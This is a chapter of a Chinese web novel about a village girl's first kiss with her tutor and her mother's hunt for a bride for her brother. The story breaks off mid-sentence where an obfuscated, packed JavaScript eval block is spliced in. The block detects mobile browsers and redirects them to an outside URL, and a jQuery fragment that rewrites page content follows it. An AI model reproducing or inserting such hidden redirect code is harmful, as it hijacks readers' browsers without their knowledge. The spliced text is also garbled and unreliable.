18. 想亲你
作品:《七零落难少爷的娇蛮妻》 午饭时候,姚红霞把饭菜端上桌。一盘炒鸡蛋、一盘白菜猪肉炖粉条、一碗腌萝卜丝,还有一盆玉米面糊糊。
“小强,别客气,多吃点。”姚红霞招呼着。
“谢谢姨。”姚小强端着碗,吃得挺香,眼睛时不时往钱小满身上瞟。
钱小满挨着许柏年坐,两只手规规矩矩放在膝盖上,脸上挂着笑,一副乖乖女的模样。以往她在家都是第一个动筷,今天是她和许柏年谈恋爱后第一次同桌吃饭,她得矜持。
许柏年端碗盛饭的动作不急不缓,举止温雅,一看就是城里带来的习惯,这么久也没改掉。
姚小强抹了一把嘴,跑出去不知道从哪拿来一颗苹果,递到钱小满面前:“给,我今天带来的,忘了拿出来了。”
钱小满看着苹果,悄悄咽了咽口水。好久没吃苹果,都忘了是啥味了,嘴上还是客气:“不用了,你留着自己吃吧。”
“给你你就拿着,跟我还客气啥。”姚小强又把苹果往她面前推了推。
钱小满正要伸手,另一只手先伸了过来。
许柏年拿过苹果,从兜里掏出一把小刀,垂着眼慢条斯理地削起皮来。他手指修长,骨节分明,手腕线条干净好看,持刀的手纹丝不动,刀片贴着果肉旋绕,果皮被削成均匀细长的一条。
“吃吧。”他把削好的苹果递到钱小满面前。
钱小满愣了一下,接过来咬了一口,又脆又甜,汁水从嘴角溢出来。她赶紧用手背擦了一下,心里比苹果还甜。
许柏年把果皮拢成一团放在桌角,才端起自己的碗继续吃饭。
姚小强心里不是滋味,刚刚还香喷喷的饭菜顿时索然无味。
钱小满一边啃着苹果,一边夹了块肉放进许柏年碗里:“你多吃点。”
姚红霞看在眼里,连忙打圆场:“行了行了,让小许自己夹,赶紧把苹果吃完。”她心里直犯嘀咕,小强递的苹果,这闺女倒好,光惦记着许柏年,都是好孩子,小强得多难受。
“他不好意思夹嘛。”钱小满理直气壮,又给他舀了一勺炒鸡蛋堆在碗里。
姚小强嘴角的笑容越发勉强,端起碗猛喝一大口糊糊,烫得眼泪都快出来了。
钱金宝闷头吃饭,一句话也不说。他对这些弯弯绕绕不感兴趣,也懒得掺和。
饭后,许柏年又给振国振兴讲了一会儿题,把当天的功课都捋了一遍。振国振兴做完最后一道题,他合上课本站起身。
“我先回去了。”他的视线落在钱小满身上。
“哦。”钱小满有点舍不得,又没理由让他留下来。
许柏年跟姚红霞打了声招呼,又朝钱多来的方向点了点头,便出了院门。
钱小满送到门口,等他的背影走远了才进屋。
吃过下午饭,姚小强说今天不回城,天快黑了,带俩孩子路上不安全,干脆住一晚,明早再走。姚红霞把给老三准备的被褥子抱了过来,让他跟钱金宝挤一挤。
天刚擦黑,院门忽然被人敲响了。
许柏年站在门口,头发被风吹得有点乱,微微喘着气,像是走得很急。
“小许?”姚红霞从窗户探出头,“咋又回来了?”
“婶子,我本子落下了,过来找找。”许柏年说着,目光往堂屋扫了一圈,落在钱小满身上。
钱小满一头雾水,她明明看着他把所有东西都装进包里了,怎么会落东西?不过他突然回来,她心里还是止不住地开心。
许柏年进了堂屋,弯腰在炕沿下假意翻找。
钱小满跟进去,小声说:“你本子不是带走了吗?我明明看见你放包里了。”
许柏年没抬头,声音压得极低:“嗯。”
“那你回来找什么?”她更糊涂了。
许柏年直起身,定定望着她:“跟我出去。”
钱小满没懂他的意思,但还是鬼使神差地跟了出去。
她朝屋里喊了一声:“妈,我送送许医生。”
门外院墙跟的暗处,墙影挡住了外面的视线。
许柏年转过身,拉住她的手,把她往怀里一带。
钱小满还没反应过来,他的嘴唇就贴了上来。
不是碰脸颊,是亲嘴。
冰冰凉凉的,他的嘴唇有点干,但很软,贴在她唇上停了几秒钟就离开了。
钱小满整个人僵在原地,脑子里一片空白。
许柏年松开她,往后退了一步,耳尖红得像要滴血。他不敢看她,声音有点沙哑:“本子找到了,我先走了。”
他几乎是逃似的离开了。
钱小满靠在院墙上,心脏砰砰砰狂跳,像是要从嗓子眼里蹦出来。她摸了摸自己的嘴唇,上面还残留着他嘴唇的触感,果然很软,比刚出锅的馒头还软。
她傻笑起来,笑着笑着又害羞地捂住了脸。
她不知道的是,正要出来找她的另一个人,亲眼目睹了这一幕。
姚小强脸上的神情从愣怔一点点黯淡下去,失魂落魄地回了屋里。他和钱金宝挤在一张炕上,一言不发。巧得很,两人竟都是为情所困的失意人。
第二天一早,许柏年来了。
钱小满正在扫院子,两人目光一碰,她瞬间红了脸,低下头继续扫地,脸颊烫得厉害。
许柏年唇角勾了勾,走进堂屋。
振国振兴已经坐在桌前了,他坐下翻开课本开始讲题,仿佛昨天的亲昵从未发生过。
钱小满扫完地进屋,装模作样给他倒水,心早就飞到九霄云外去了。他的侧脸依旧清俊,睫毛长长,薄唇轻抿,可她现在清楚知道了他的嘴巴有多软。
补课的时候,姚小强终于没再来打扰。
下午补完课,许柏年帮振国振兴收拾好书包,摸了摸两个孩子的头:“下周再来。”
“许老师再见!”振国振兴喊着跑了出去。
姚大壮骑着自行车在院门口等着,接了两个孩子,姚小强依旧没露面。
钱小满送许柏年到门口,两人静静站了一会儿。
“你昨天……”她脚尖在地上画圈,“是不是故意的?”
“什么故意的?”许柏年装作听不懂。
“就是……亲我。”
许柏年抬手抵在唇边轻咳一声:“不是故意的。”
“那你为什么还回来?本子明明没落下。”
他声音放得很轻,带着点不易察觉的局促:“想亲你。”
钱小满猛地抬起头,见他也在害羞,心里甜得要炸了。她踮起脚尖想亲回去,许柏年却往后退了一步:“别闹,有人。”
“哪有人?”钱小满四处张望,路上空荡荡的,连个鬼影子都没有。
“大白天的,万一有人路过,看见了影响不好。”许柏年把手放下,在她脑袋上揉了一下,“进去吧。”
钱小满不情不愿:“好吧,你什么时候再亲我?”
“看你表现。”说完他就匆匆离开了。
钱小满捂着嘴笑了一会儿,才蹦蹦跳跳跑回院子。
下午,姚小强骑着自行车来了。
他是来找落下的水壶。拿到东西后没急着走,站在院门口犹豫不决。
“小满,”他叫了她一声。
“嗯?”钱小满疑惑地抬起头。
姚小强看她的眼神有点复杂,终究还是开了口:“许柏年要是对你不好,你告诉我。”
钱小满没听明白他的意思:“什么?”
“我是说,”姚小强挠了挠头,“他要是欺负你,或是对你不上心,你就跟我说,我帮你出气。”
钱小满只觉得莫名其妙:“小强哥,我有两个哥哥呢,他们会护着我。再说许柏年对我挺好的,不会欺负我。”
姚小强扯出一抹苦涩的笑:“好,那就好,是我多虑了。”
他跨上自行车,临走前回头看了她一眼:“小满,你是个好姑娘,值得被好好对待。”
说完,蹬着车走远了。
钱小满站在门口,只觉得这话来得突兀。她跟他又不熟,一年见不上几面,怎么莫名其妙说这种话?
她摇摇头,转身进了院子。
钱小满觉得她妈最近有点魔怔了。
这天下午,她刚从许柏年那儿回来,一进院门就看见姚红霞坐在院子里,面前摆了一堆东西。有照片、有纸条、有信封,花
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478225|201603||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花绿绿铺了一桌子,像是在摆摊。
“妈,你这是干啥呢?”钱小满凑过去。
姚红霞头也没抬,手里捏着一张照片,翻来覆去地看:“给你三哥相看媳妇啊。”
钱小满愣住了:“啥?”
“你三哥一年才回来一回,就休一个月,不得抓紧把亲事定了?”姚红霞把照片放下,又拿起另一张,“你看这个,县城国营食堂的,长得白净,家里爹妈都是工人。”
钱小满拿起照片,上面的姑娘梳着两条辫子,脸圆圆的,笑得挺甜。
“这些都是哪来的?”钱小满把照片翻过来,背面写着名字和年龄。
“托你姐和她婆婆帮忙找的,还有你大妈和你舅妈都帮忙出力了、县城的有五个,公社的有三个,隔壁村还有俩。都是知根知底的人家,成分好,姑娘也本分。”
钱小满粗略瞥了眼桌上一堆照片,觉得头皮发紧。她想起村里专门配种的猪,到了能配种的日子,周边几个村都会借走,配完了还得记下来日期。
她三哥现在就跟那猪差不多。
“妈,”钱小满忍不住吐槽,“你这也太急了吧?三哥还没到家呢。”
“急啥急?等他到家了再张罗,黄花菜都凉了。”姚红霞把照片按顺序排好,一边排一边念叨,“这个姓张,在供销社当售货员,个子矮了点。这个姓李,在卫生院当护士。这个姓王,她爹是公社干部……”
钱小满听得脑袋嗡嗡的。
“妈,你就不问问三哥自己啥想法?万一他自己有喜欢的姑娘呢?”
姚红霞抬起头,看她的眼神跟看傻子似的:“你三哥?他在部队待几年,连个女同志都少见,上哪儿有心仪的去?回来就一个月,不给他张罗,他自己猴年马月能找上?”
钱小满想说他说不定真有,话到嘴边又咽了回去。
“你看看这个,”姚红霞又拿起一张,“这个是你姐单位同事的妹妹,在纺织厂上班,长得好看,个子也高。”
钱小满接过来一看,确实好看,眉眼周正,头发乌黑,笑得大大方方的。可她脑子里想的却是,三哥要是看上了别人,杏花怎么办?
“妈,我觉得你不用这么急。”她把照片放下,“三哥刚休假回来,先让他歇歇,相亲的事缓两天也不迟。”
“歇啥?歇两天假期就过去了,哪有功夫磨蹭?”姚红霞把照片收拢起来,“你三哥小时候淘得没边,村里姑娘见了都躲。现在人稳当了,人家还记着小时候的事呢。不趁这次回来抓紧定,等他自己谈,不知道等到啥时候。”
钱小满想起三哥小时候的壮举。人嫌狗厌,女孩子见到他都要绕道走,生怕跟他说两句话,兜里出现一只虫子。
“三哥小时候咋那么欠呢?”
姚红霞白了她一眼:“你懂啥?男娃小时候都那样,你爹年轻时候也没少干这些事。”
钱小满一脸嫌弃:“我爹?”她看了眼正在院子里劈柴的钱多来,想象不出来他年轻时候的样子。
“反正我跟你说,你三哥这亲事得抓紧。这些姑娘哪个条件都不差,他要是能看上,今年定下来,明年就能办事。”
钱小满想说三哥心里可能有杏花,还是忍住了。万一他自己还没捋明白杏花的感情。她要是说了,依她妈的性子,立马就能冲到杏花家提亲,到时候闹得满村风雨,三哥再不认账,就全乱套了。
她得等三哥回来,先问清楚再说。
“行行行,你看吧。我先回屋了。”
“你不帮我一起挑挑?”姚红霞叫住她。
“你自己看吧,我又不是三哥,我说了不算。”
钱小满进屋往炕上一躺,盯着屋顶发呆。她跟杏花从小一起长大,好得跟亲姐妹似的,要是真成了妯娌,那可太圆满了。
她翻了个身,把脸埋进枕头:“三哥你可快点回来吧,再不回来,妈都要把你当猪配种了。”
窗外,姚红霞还在翻照片,一边翻一边念叨,声音断断续续飘进来。
“这个不错……这个也行……这个个子有点矮……这个家里兄弟太多了……”
钱小满捂着耳朵,翻了个身,不想听了。

